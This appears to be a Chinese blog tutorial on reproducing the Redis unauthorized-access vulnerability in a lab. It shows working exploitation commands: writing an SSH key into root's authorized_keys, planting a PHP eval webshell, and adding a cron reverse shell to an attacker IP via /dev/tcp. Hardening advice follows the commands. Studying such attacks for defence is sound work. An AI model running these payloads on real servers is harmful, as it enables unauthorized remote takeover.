4-unacc漏洞复现

1.使用命令redis-cli -h targetip 进行尝试远程连接,同时使用info进行信息查询在这里插入图片描述

可以看到一些客户端和服务端的一些信息,比如redis版本,os系统版本等等

2.进行提权及遇到的问题总结

原本看到了redis的4-unuac未授权漏洞,想要复现一下的,结果使用vulhub进行复现的时候,只能进行未授权访问,却无法利用其提权的功能,所以必须要自己安装redis,如果想要实现传马,提权等操作
安装redis需要7.0版本以下的,要不然会有保护机制(目前研究的是这样,最新版的不给权限去提权)
安装redis,这个地方我下载使用的是6.0.3版本的

wget http://download.redis.io/releases/redis-6.0.3.tar.gz

下载好之后,进行解压安装

tar -zxvf redis-6.0.3.tar.gz

进入到你解压的redis目录下,然后修改redis.conf内的配置
将bind修改成0.0.0.0全网监听
protected-mode 改成no
在这里插入图片描述

然后进入到src目录下,

cd /src/
make
cp /src/redis-cli /usr/bin

make完之后,你使用ps -ef |grep redis查看,可能会发现redis并没有启动,这个时候make结果有个提示,使用

make test
#一般来说是可以正常运行的,但是如果还不可以运行,就直接执行
./redis-server

然后再查看redis是否正常,在本地执行

redis-cli -h 0.0.0.0

同时使用info查看信息
在这里插入图片描述
这个时候redis数据库已经运行正常了
可以使用自己的攻击机进行尝试连接了
在这里插入图片描述
连接成功,命令执行成功,但是可能会遇到此类问题,遇到这个问题其实就是redis的保护机制没有关闭,直接使用翻译即可明白其中的意思,我选择的是第一种关闭保护机制CONFIG SET protected-mode no,之前在配置的时候也写过,但是不知道为啥手动改的不行,只能命令改,不过需要在本地执行
在这里插入图片描述
关闭之后,就可以畅通无阻了,
以上就是我们的redis未授权漏洞复现,接下来是则是针对这个漏洞进行利用。针对这个漏洞利用的方法有三种
1.通过写入ssh公钥,获取操作系统权限
2.通过写入木马文件,使用菜刀、御剑或者冰蝎进行连接
3.通过反弹shell(centos系统专用大概是,ubuntu没有试验成功)

1.通过写入ssh公钥,获取操作系统权限

思路:公钥登录” 原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:
首先在自己的电脑上生成key,其中要你输入的地方可以全部按空格

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.244.128 -x set xxx

然后在攻击机上连上靶机的redis数据库,设置将ssh鉴权文件放入到/root/.ssh/目录下,文件名改为authorized_keys

redis-cli -h 192.168.244.128 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save

这些命令的执行,你可以发现靶机的/root/.ssh/目录下出现了authorized_keys文件,但是当你连接的时候,会出现很多问题,接下来是我遇到的问题并解决方法

ssh 192.168.244.128
#使用ssh连接

却出现了以下问题,导致一直连不上,第一个是
Offending RSA key in /root/.ssh/known_hosts:2
第二个是
ssh-keygen -f “/root/.ssh/known_hosts” -R “192.168.208.141”
在这里插入图片描述
实际上解决方法也很简单,第一个问题的解决方法按照这个说的翻译下来就是,将本地的known_hosts的第二行注释掉
第二个问题的解决方法是在靶机上执行ssh-keygen -f “/root/.ssh/known_hosts” -R “192.168.208.141” 即可
就连接成功了
在这里插入图片描述

2.通过写入木马文件,使用菜刀、御剑或者冰蝎进行连接,这个需要使用redis开启的web服务,我只复现了写马的操作
写入一个string内容
set xxx "<?php @eval($_POST['cmd']);?>"
设置备份目录
config set dir /var/www/html/
设置备份文件名
config set dbfilename shell.php
保存文件到本地
save
3.通过反弹shell(centos系统专用大概是,ubuntu没有试验成功)

我们可以将 linux 反弹 shell 的命令写入定时任务中,这样,我们就可以接收到redis服务器反弹过来的shell

redis-cli -h 192.168.1.8
set test "\\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\\n" #意思是每隔一分钟,向192.168.1.4的4444端口反弹
shellconfig set dir /var/spool/cron  #设置工作目录(error) ERR Changing directory: Permission denied
查看/var/spool/cron 目录权限为700,且为root创建
即使该普通用户具有sudo权限也不行

config  set dbfilename "root" #设置文件名,当前用户叫啥就得命名为啥,当前用户为rootsave

#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下

redis漏洞的修复方法

可以配置redis.conf文件,在redis安装目录下
1.默认只对本地开放bind 127.0.0.1
2.添加登陆密码:修改redis.conf文件,添加requirepass password
3. 在需要对外开放的时候修改默认端口(端口不重复就行)port 2333
4. 配合iptables限制开放
5. 降权:以低权限运行 Redis 服务(重启redis才能生效)
禁止使用root权限启动redis服务

### Redis 未授权访问解决方案 为了防止 Redis 实例遭受未经授权的访问,采取适当的安全措施至关重要。以下是几种有效的防护方法: #### 配置密码认证 启用 Redis 认证功能可以有效阻止未授权用户的访问。通过设置 `requirepass` 参数来配置连接所需的密码。 ```bash requirepass your_strong_password ``` 这使得客户端在执行任何命令前必须先发送 AUTH 命令并提供正确的密码[^1]。 #### 绑定本地地址 确保 Redis 只监听来自可信网络接口的数据包,默认情况下应绑定到 localhost 或者特定内网 IP 地址上运行,而不是开放给所有外部请求。 ```bash bind 127.0.0.1 ``` 此操作减少了暴露于公共互联网的风险,从而降低了被攻击的可能性。 #### 修改默认端口 更改 Redis 默认使用的 TCP 端口号 (通常是6379),虽然这不是主要安全手段,但可以帮助减少自动化扫描工具发现服务的机会。 ```bash port 8379 ``` 这种做法增加了潜在入侵者的难度,因为他们需要猜测实际使用的端口编号。 #### 启用防火墙规则 利用操作系统自带的防火墙设施(如 iptables),仅允许指定源IP范围内的主机向 Redis 发起连接尝试,进一步缩小受信任设备列表。 ```bash iptables -A INPUT -p tcp --dport 8379 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 8379 -j DROP ``` 上述指令表示接受来自192.168.1.x子网内部发起的所有入站TCP流量指向自定义后的Redis端口(这里假设为8379),而拒绝其他一切外来链接请求。 #### 定期更新与监控 保持软件版本处于最新状态,并定期审查日志文件中的异常活动记录;对于生产环境而言尤为重要的是部署专业的安全审计工具来进行实时监测预警。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值